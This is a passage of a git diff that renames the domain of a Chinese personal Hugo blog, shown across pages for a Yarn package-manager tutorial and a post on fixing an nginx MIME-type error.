包管理工具，和npm对比就是速度快，保持一致性，安全</p><p>速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次</p><p>保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录</p><p>安全：yarn会在每个package被执行时校验其完整性</p><p>实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包</p><p>windows不允许禁止运行脚本解决方法，管理员打开powershell</p><p>set-ExecutionPolicy RemoteSigned</p><p>安装yarn（全局）</p><p>npm install yarn -g</p><p>查看全部yarn命令</p><p>yarn help</p><p>检查是否安装成功以及查看版本号</p><p>yarn &ndash;version</p><p>同样也是可以选择升级到yarn2</p><p>yarn版本在v1.22之上
 yarn set version berry</p><p>yarn版本在v1.22之下
 yarn policies set-version berry</p><p>初始化</p><p>yarn init</p><p>安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）</p><p>yarn install</p><p>或者</p><p>yarn</p><p>添加一个包到依赖中</p><p>yarn add 包名@版本号</p><p>如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开</p><p>添加一个包到不同的依赖类别中</p><p>开发环境
 yarn add 包名 &ndash;dev</p><p>生产环境
@@ -112,8 +112,8 @@
 yarn set version from sources &ndash;branch 1211</p><p>发布包</p><p>先去注册npm账号，https://www.npmjs.com/signup</p><p>第一次发布需要npm adduser一下，需要提供用户名，密码，邮箱，要求源必须是npm官方源</p><p>然后yarn poblish</p><hr><p>启动项目，在项目根目录下执行（反正执行速度比npm快）</p><p>yarn run dev</p><hr><p>yarn.lock和package-lock.json互相转换</p><p>安装synp</p><pre><code>npm install -g synp
 </code></pre><p>yarn.lock转换为package-lock.json</p><pre><code>synp --source-file yarn.lock
 </code></pre><p>package-lock.json转换为yarn.lock</p><pre><code>synp --source-file package-lock.json
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/yarn/>Yarn</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/39/><span class=title>« Prev</span><br><span>记录一次MIME类型错误</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/35/><span class=title>Next »</span><br><span>wsl2-windows子系统简单配置</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/yarn/>Yarn</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/39/><span class=title>« Prev</span><br><span>记录一次MIME类型错误</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/35/><span class=title>Next »</span><br><span>wsl2-windows子系统简单配置</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/39/index.html b/posts/39/index.html
index 0ad610df..ff4c9e55 100644
--- a/posts/39/index.html
+++ b/posts/39/index.html
@@ -5,24 +5,24 @@
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/39/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="记录一次MIME类型错误"><meta property="og:description" content="打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/39/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="记录一次MIME类型错误"><meta property="og:description" content="打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
 当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/39/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-17T08:25:00+00:00"><meta property="article:modified_time" content="2021-06-17T08:25:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="记录一次MIME类型错误"><meta name=twitter:description content="打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/39/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-17T08:25:00+00:00"><meta property="article:modified_time" content="2021-06-17T08:25:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="记录一次MIME类型错误"><meta name=twitter:description content="打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
 当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"记录一次MIME类型错误","item":"https://xiaochenabc123.github.io/posts/39/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"记录一次MIME类型错误","name":"记录一次MIME类型错误","description":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了","keywords":["nginx"],"articleBody":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了\n","wordCount":"14","inLanguage":"en","datePublished":"2021-06-17T08:25:00Z","dateModified":"2021-06-17T08:25:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/39/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>记录一次MIME类型错误</h1><div class=post-meta><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e8%ae%b0%e5%bd%95%e4%b8%80%e6%ac%a1MIME%e7%b1%bb%e5%9e%8b%e9%94%99%e8%af%af.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对</p><p>先了解一下浏览器是如何处理这些数据的，是怎么区分的</p><p>数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）</p><p>当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据</p><p>解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件</p><p>往nginx配置文件上输入<br>include /www/server/nginx/conf/mime.types;
-default_type application/octet-stream;</p><p>第一个行指定mime.types，第二行就是默认类型</p><p>然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/nginx/>nginx</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/43/><span class=title>« Prev</span><br><span>一些常用的进制转换方法</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/38/><span class=title>Next »</span><br><span>Yarn包管理工具的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"记录一次MIME类型错误","item":"https://chenjunlinabc.github.io/posts/39/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"记录一次MIME类型错误","name":"记录一次MIME类型错误","description":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了","keywords":["nginx"],"articleBody":"打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对\n先了解一下浏览器是如何处理这些数据的，是怎么区分的\n数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）\n当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据\n解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件\n往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;\n第一个行指定mime.types，第二行就是默认类型\n然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了\n","wordCount":"14","inLanguage":"en","datePublished":"2021-06-17T08:25:00Z","dateModified":"2021-06-17T08:25:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/39/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>记录一次MIME类型错误</h1><div class=post-meta><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e8%ae%b0%e5%bd%95%e4%b8%80%e6%ac%a1MIME%e7%b1%bb%e5%9e%8b%e9%94%99%e8%af%af.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对</p><p>先了解一下浏览器是如何处理这些数据的，是怎么区分的</p><p>数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）</p><p>当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据</p><p>解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件</p><p>往nginx配置文件上输入<br>include /www/server/nginx/conf/mime.types;
+default_type application/octet-stream;</p><p>第一个行指定mime.types，第二行就是默认类型</p><p>然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/nginx/>nginx</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/43/><span class=title>« Prev</span><br><span>一些常用的进制转换方法</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/38/><span class=title>Next »</span><br><span>Yarn包管理工具的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const 